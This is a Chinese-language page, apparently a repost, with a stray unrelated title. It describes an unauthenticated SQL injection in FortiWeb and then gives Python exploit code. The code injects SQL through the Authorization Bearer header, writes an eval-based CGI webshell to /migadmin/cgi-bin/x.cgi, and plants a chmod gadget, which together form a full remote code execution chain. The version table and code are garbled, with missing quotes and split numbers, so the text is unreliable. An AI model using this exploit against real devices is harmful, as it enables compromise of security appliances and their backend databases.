核心内容摘要
Nano-Banana实操手册:白底平铺图+指示线渲染全流程详解
CVE-
— FortiWeb 严重 SQL 注入漏洞 漏洞概述:漏洞类型: 无需认证的SQL 注入受影响组件: FortiWeb GUI / Fabric Connector APICVSS 评分:
6 –
8 (严重)CWE: CWE-89 – SQL命令中特殊元素的不当处理发现与修复: 2025年7月利用状态: 已有公开的概念验证(PoC)预计会被利用--------- | :-------------- | :---------------- ||
6 |
7.
0 至
7.
3 |
7.
4 或更高 ||
4 |
7.
0 至
7.
7 |
7.
8 或更高 ||
2 |
7.
0 至
7.
10 |
7.
11 或更高 ||
0 |
7.
0 至
7.
10 |
7.
11 或更高 | 风险:攻击向量: 远程无需认证影响: 完全访问 FortiWeb 后端数据库可能导致系统沦陷威胁等级:严重—— 尤其因为 FortiWeb 是一款安全设备安装指南系统要求Python
x能够访问目标 FortiWeb 设备的管理界面。
依赖安装脚本主要依赖requests库。
可通过以下命令安装所需依赖pipinstallrequests平台相关说明脚本兼容Windows、Linux和macOS。
由于涉及HTTPS请求可能会遇到证书警告脚本已默认禁用SSL验证警告但实际使用时应谨慎评估安全风险。
核心代码以下展示了项目的核心实现代码及注释
SQL注入基础类该类封装了核心的SQL注入功能。
#!/usr/bin/env python3importargparseimportbinasciifromurllib.parseimporturljoinimportrequestsimporturllib3 urllib
disable_warnings()# 禁用SSL警告classSQLInjection:def__init__(self,target:str):self._targettarget self._buggy_api/api/fabric/device/status# 存在漏洞的API端点returndefinject_sql(self,injection:str)-bool:rcFalse# 构造恶意的Authorization头部将SQL注入载荷附加在Bearer令牌之后headers{Authorization:fBearer ;{injection}# 闭合原SQL语句注入新语句}dst_urlurljoin(self._target,self._buggy_api)try:rrequests.get(dst_url,headersheaders,verifyFalse)# 发送请求rcr.status_code401# 特定响应状态码表明注入成功或至少被处理exceptExceptionase:rcFalseprint(Sending Request Failed: e)returnrc
远程代码执行类该类继承自SQLInjection实现了从SQL注入到写入文件、执行命令的完整攻击链。
classRCE(SQLInjection):def__init__(self,target:str):super().__init__(target)self._targettarget self._buggy_api/api/fabric/device/statusself._pyhook_path/cgi-bin/ml-draw.py# 用于触发Python脚本执行的端点# 构造一个Python脚本用于给Webshell添加执行权限并清理自身self._chmod_fileself._chmod_fileimport os # \r\nself._chmod_fileos.system(chmod x /migadmin/cgi-bin/x.cgi rm -f /var/log/lib/python
10/pylab.py) ## 构造一个简单的CGI WebShell通过User-Agent头接收并执行命令self._webshellself._webshell#!/bin/sh -- \r\nself._webshellprintf Content-Type: text/html\\r\\n;printf \\r\\n;eval $HTTP_USER_AGENTreturndefupload_webshell(self)-bool:# 步骤1: 重置数据库表确保有干净的环境写入数据self._reset_tables()# 步骤2: 将Webshell内容分段写入数据库的文本字段partsself._split_payload(self._webshell)forpartinparts:print(f[*] writing part{part})# 使用SQL的concat函数将载荷片段拼接到字段值中self.inject_sql(fuse/**/fabric_user;update/**/a/**/set/**/a(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--)# 步骤3: 将拼接好的完整载荷从数据库导出到Web服务器目录创建Webshell文件print([] writing webshell file)self.inject_sql(select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**//migadmin/cgi-bin/x.cgi/**/FIELDS/**/ESCAPED/**/BY/**/;--)# 步骤4: 重复上述过程写入用于提权chmod的Python脚本self._reset_tables()partsself._split_payload(self._chmod_file)forpartinparts:print(f[*] writing part{part})self.inject_sql(fuse/**/fabric_user;update/**/a/**/set/**/a(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--)print([] cooking chmod gadget)self.inject_sql(select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**//var/log/lib/python
10/pylab.py/**/FIELDS/**/ESCAPED/**/BY/**/)# 步骤5: 访问特定端点触发Python脚本执行为Webshell添加执行权限print([*] triggering chmod)returnself._trigger_chmod()
工具函数与主程序这些辅助函数和主程序逻辑完成了漏洞利用的自动化流程。
# 将长载荷分割成小块以适应数据库操作def_split_payload(self,input_bytes):return[input_bytes[i:i16]foriinrange(0,len(input_bytes),